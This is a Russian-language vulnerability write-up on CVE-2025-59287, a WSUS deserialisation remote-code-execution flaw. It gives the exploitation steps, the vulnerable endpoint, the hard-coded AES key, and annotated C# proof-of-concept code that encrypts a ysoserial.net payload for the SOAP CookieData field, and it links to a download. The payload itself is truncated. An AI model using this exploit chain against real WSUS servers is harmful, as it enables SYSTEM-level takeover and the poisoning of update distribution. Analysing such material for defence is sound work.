October 27

CVE-2025-59287 - WSUS Remote Code Execution

Критическая уязвимость в Microsoft Windows Server Update Services (WSUS), связанная с небезопасной десериализацией объектов AuthorizationCookie в методе GetCookie(). Уязвимость позволяет неаутентифицированному злоумышленнику выполнить произвольный код с привилегиями SYSTEM, отправляя специально сформированные зашифрованные куки на конечную точку WSUS.

Проблема возникает из-за использования BinaryFormatter для десериализации данных без должной проверки типов, что делает возможным выполнение вредоносного кода.

ПОДКЛЮЧАЙСЯ К THREADSECURE!

Сообщество THREAD предупреждает, что перед запуском предоставленного программного обеспечения необходимо проявить особую осторожность. Для защиты рабочих станций от возможного заражения рекомендуется использовать виртуальную машину или песочницу.
Все осуществляется на ваш страх и риск!

Технические детали

  • Пораженные версии: Точные версии WSUS не указаны в предоставленном документе, но уязвимость затрагивает реализации WSUS, использующие небезопасную десериализацию в методе DecryptData. Предположительно, это версии Windows Server с установленным WSUS до применения соответствующих патчей.
  • Платформы: Microsoft Windows Server (все версии, поддерживающие WSUS, включая Windows Server 2016, 2019, 2022, если не применены обновления безопасности).
  • Тип уязвимости: Небезопасная десериализация (CWE-502), Удаленное выполнение кода (Remote Code Execution, RCE).
  • CVSS v3.1: 9.8 (Critical), Вектор атаки: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, Сетевая атака (Network), низкая сложность (Low), без необходимости привилегий (None), без взаимодействия с пользователем (None), высокое воздействие на конфиденциальность, целостность и доступность (High).
  • Точка входа: Конечная точка /ClientWebService/Client.asmx (метод GetCookie), Уязвимость активируется через отправку SOAP-запроса с вредоносным объектом AuthorizationCookie.
  • Метод эксплуатации: 1) Злоумышленник формирует сериализованный вредоносный объект (например, с использованием библиотеки ysoserial.net для создания полезной нагрузки, запускающей команду, например, calc.exe или cmd). 2) Объект шифруется с использованием AES-128-CBC с известным ключом (в примере PoC используется ключ 877C14E433638145AD21BD0C17393071). 3) Зашифрованные данные отправляются в поле CookieData в SOAP-запросе на конечную точку GetCookie. 4) Сервер расшифровывает данные и передает их в BinaryFormatter.Deserialize(), что приводит к выполнению вредоносного кода.
  • Ограничения: Требуется доступ к WSUS-серверу (обычно порт 8530 или 8531 для HTTPS); Злоумышленник должен знать или угадать ключ шифрования AES (в PoC он предоставлен явно, что может быть нереалистичным в реальных условиях без утечки ключа); Уязвимость применима только к серверам WSUS, использующим уязвимую реализацию десериализации.

Влияние

Критическое воздействие: Успешная эксплуатация позволяет выполнить произвольный код с привилегиями SYSTEM, что дает полный контроль над сервером. Это может привести к:

  • Установке вредоносного ПО.
  • Компрометации сети через WSUS как точку распространения обновлений.
  • Утечке данных, модификации обновлений или отказу в обслуживании.

Объяснение кода для эксплуатации CVE-2025-59287

Код демонстрирует, как создать вредоносную полезную нагрузку, зашифровать её и подготовить для отправки на уязвимый сервер WSUS, чтобы выполнить произвольный код (в данном случае запуск calc.exe).

Код написан на C# и выполняет следующие шаги:

  1. Преобразует заданный ключ шифрования из шестнадцатеричной строки в массив байтов.
  2. Декодирует заранее подготовленную сериализованную полезную нагрузку (ysooo) из Base64.
  3. Шифрует эту полезную нагрузку с использованием алгоритма AES-128-CBC.
  4. Преобразует зашифрованные данные в Base64 для последующей отправки в SOAP-запросе.

Полученная строка Base64 предназначена для включения в поле CookieData SOAP-запроса к конечной точке WSUS /ClientWebService/Client.asmx с действием GetCookie.

1. Метод Main

static void Main()
{
    //key
    string hexKey = "877C14E433638145AD21BD0C17393071";
    byte[] key = new byte[16];
    for (int i = 0; i < 16; i++)
        key[i] = Convert.ToByte(hexKey.Substring(i * 2, 2), 16);

    string ysooo = "AAEAAAD..."; // Длинная строка Base64
    byte[] ser = Convert.FromBase64String(ysooo);
    byte[] enc = EncryptPayload(ser, key);
    string base64Payload = Convert.ToBase64String(enc);
    Console.WriteLine(base64Payload);
}

Ключ шифрования:

  • hexKey — строка, представляющая 16-байтовый ключ AES в шестнадцатеричном формате (877C14E433638145AD21BD0C17393071).
  • Цикл for преобразует эту строку в массив байтов key, где каждая пара символов преобразуется в байт (например, 87 → 0x87).

Полезная нагрузка (ysooo):

  • ysooo — строка Base64, представляющая сериализованный объект, созданный, вероятно, с использованием инструмента вроде ysoserial.net.
  • Эта полезная нагрузка содержит объект, который при десериализации с помощью BinaryFormatter вызывает запуск команды calc (или cmd).
  • Convert.FromBase64String(ysooo) декодирует Base64 в массив байтов ser.

Шифрование и вывод:

  • EncryptPayload(ser, key) шифрует декодированную полезную нагрузку с использованием ключа key.
  • Зашифрованный результат преобразуется обратно в Base64 (base64Payload) и выводится в консоль.
  • Эта строка Base64 предназначена для использования в SOAP-запросе (как указано в примере HTTP-запроса в оригинальном документе).

2. Метод EncryptPayload

static byte[] EncryptPayload(byte[] data, byte[] key)
{
    using (var aes = new AesCryptoServiceProvider())
    {
        aes.Key = key;
        aes.Mode = CipherMode.CBC;
        aes.Padding = PaddingMode.None;
        aes.IV = new byte[16]; // null

        byte[] salt = new byte[16];
        new RNGCryptoServiceProvider().GetNonZeroBytes(salt);

        using (var encryptor = aes.CreateEncryptor())
        {
            int num = data.Length % encryptor.InputBlockSize;
            int num2 = data.Length - num;
            byte[] result = new byte[encryptor.InputBlockSize + num2 + encryptor.OutputBlockSize];
            encryptor.TransformBlock(salt, 0, salt.Length, result, 0);
            encryptor.TransformBlock(data, 0, num2, result, salt.Length);
            byte[] paddedBlock = new byte[encryptor.InputBlockSize];
            for (int i = 0; i < num; i++)
            {
                paddedBlock[i] = data[num2 + i];
            }
            encryptor.TransformBlock(paddedBlock, 0, paddedBlock.Length, result, salt.Length + num2);
            return result;
        }
    }
}

Настройка AES:

  • Создаётся объект AesCryptoServiceProvider для шифрования с использованием алгоритма AES-128-CBC.
  • aes.Key = key — задаёт ключ шифрования.
  • aes.Mode = CipherMode.CBC — использует режим CBC (Cipher Block Chaining).
  • aes.Padding = PaddingMode.None — отключает дополнение данных (padding), так как код вручную обрабатывает выравнивание.
  • aes.IV = new byte[16] — задаёт нулевой вектор инициализации (IV), что соответствует реализации в WSUS.

Генерация salt:

  • salt — 16-байтовый массив случайных ненулевых байтов, генерируемый с помощью RNGCryptoServiceProvider. Эта соль добавляется в начало зашифрованных данных, как того требует реализация WSUS.

Шифрование данных:

  • Данные (data) разбиваются на блоки, кратные размеру блока AES (16 байт).
  • num = data.Length % encryptor.InputBlockSize — вычисляет остаток длины данных, не кратный размеру блока.
  • num2 = data.Length - num — определяет размер данных, кратный блоку.
  • Создаётся массив result для хранения зашифрованных данных, включая соль и дополнительное место для последнего блока.
  • encryptor.TransformBlock шифрует:
    1. Соль (salt) — записывается в начало result.
    2. Основную часть данных (data до num2) — записывается после соли.
    3. Последний блок (paddedBlock) — дополняется нулями до размера блока и шифруется.

Код создаёт зашифрованную полезную нагрузку для эксплуатации уязвимости CVE-2025-59287, позволяющей удалённое выполнение кода на сервере WSUS. Он демонстрирует процесс подготовки вредоносного объекта, его шифрования и преобразования в формат, подходящий для отправки в SOAP-запросе. Это доказывает возможность эксплуатации уязвимости, вызывая выполнение команды (calc) на сервере, что в реальных атаках может быть использовано для более опасных действий.

Download | Hawtrace